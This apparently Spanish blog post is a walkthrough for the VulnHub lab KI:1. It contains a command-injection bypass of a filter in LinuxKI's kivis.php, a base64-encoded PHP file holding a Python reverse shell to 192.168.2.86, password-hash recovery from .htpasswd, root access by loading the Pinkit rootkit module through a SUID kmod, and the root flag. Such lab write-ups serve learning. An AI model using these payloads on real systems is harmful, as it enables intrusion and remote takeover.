viernes, 5 de agosto de 2022

Breaking KI:1 Walkthrough | runki injection + kmod exploit

 Wup KI: 1


https://www.vulnhub.com/entry/ki-1,641/


- puertos 80 y 22. En 80 un frontend sin mucha historia excepto que en el index aparece este mensaje


 <!-- T-56818 Link removed due to bug report. Will remove the debug page later - chris -->

 

- gobuster y encontramos debug.php, al acceder


<!-- T-56819 - added file parameter for easier page navigation with linuxki - chris -->


=== runki for Linux version 6.0

!!! runki script must be run as root

!!! currently logged in with UID 33


- Tenemos así que se le pasa el parámeter file, hay que buscar resultados: sabemos que es un sistema runki


https://github.com/HewlettPackard/LinuxKI/releases


y que tiene una archivo vulnerable: kivis.php // https://www.exploit-db.com/exploits/48483


al que se accede por la ruta 


/linuxki/experimental/vis/kivis.php


- probamos la vulnerabilidad pero no funciona, probamos entonces el debug.php


/debug.php?file=?


buscamos el kivis.php, probamos alternativas y con file=kivis sale. Vemos que tiene una protección contra el exploit anterior:


// this should keep those rapscallion hackers out! - chris

function url_filter($url_args){

    $blacklisted_chars = array(

        ';' => '',

        '&' => '',

        '$' => '',

        '(' => '',

        ')' => '',

        ' |' => '',

    );

se trata entonces de lograr un bypass de este control. Resalta el último check ' |' => '', al que le falta la doble |, pues con esto se logra el bypass, es decir, en Burp


GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=15%7C%7Cls%7C%7C 


conseguimos RCE. Ya solo falta meter el reverse shell, que tras varios intentos conseguimos creando un archivo hack.php pasando el contenido en base64


GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=15%7C%7Cecho%20%27PD9waHAgc3lzdGVtKCJweXRob24zIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChcIjE5Mi4xNjguMi44NlwiLDkwMDgpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFtcIi9iaW4vc2hcIixcIi1pXCJdKTsnIik7Pz4%3D%27%20%7C%7C%20base64%20-d%20%3E%20hack.php%7C%7C HTTP/1.1


GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=15%7C%7Ccat%20hack.php%7C%7C HTTP/1.1


<textarea name='kidetail' cols='190' rows='56'> <?php system("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.86\",9008));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'");?> </textarea>


- una vez dentro miramos en el .htpasswd de /var/www/html y nos da la contraseña md5 de chris, jhf y dentro su chris


- no tenemos sudo -l, pero en el directorio home de chris hay un hint y tenemos suid kmod. Esto nos lleva al exploit pinkit


https://github.com/PinkP4nther/Pinkit


- descargamos el github, make, abrimos en otra ventana de nuestra máquina el nc a la escucha y hacemos (insmod es alias de kmod, que es suid con lo que podemos conseguir un shell reverse root)


insmod pinkit.ko host="REV_TCP_LH=127.0.0.1" port="REV_TCP_LP=1339" // cambiar ip y port


─(kali㉿kali)-[~]

└─$ nc -lvnp 9007

Ncat: Version 7.92 ( https://nmap.org/ncat )

Ncat: Listening on :::9007

Ncat: Listening on 0.0.0.0:9007

Ncat: Connection from 192.168.2.108.

Ncat: Connection from 192.168.2.108:49030.

/bin/sh: 0: can't access tty; job control turned off

# id

uid=0(root) gid=0(root) groups=0(root)

# cd /root

# ls

root.txt

snap

# cat root.txt

Congratulations! Feel free to tweet me @cwinfosec for feedback.


ae3e05609da7811c015920151e295612


No hay comentarios:

Publicar un comentario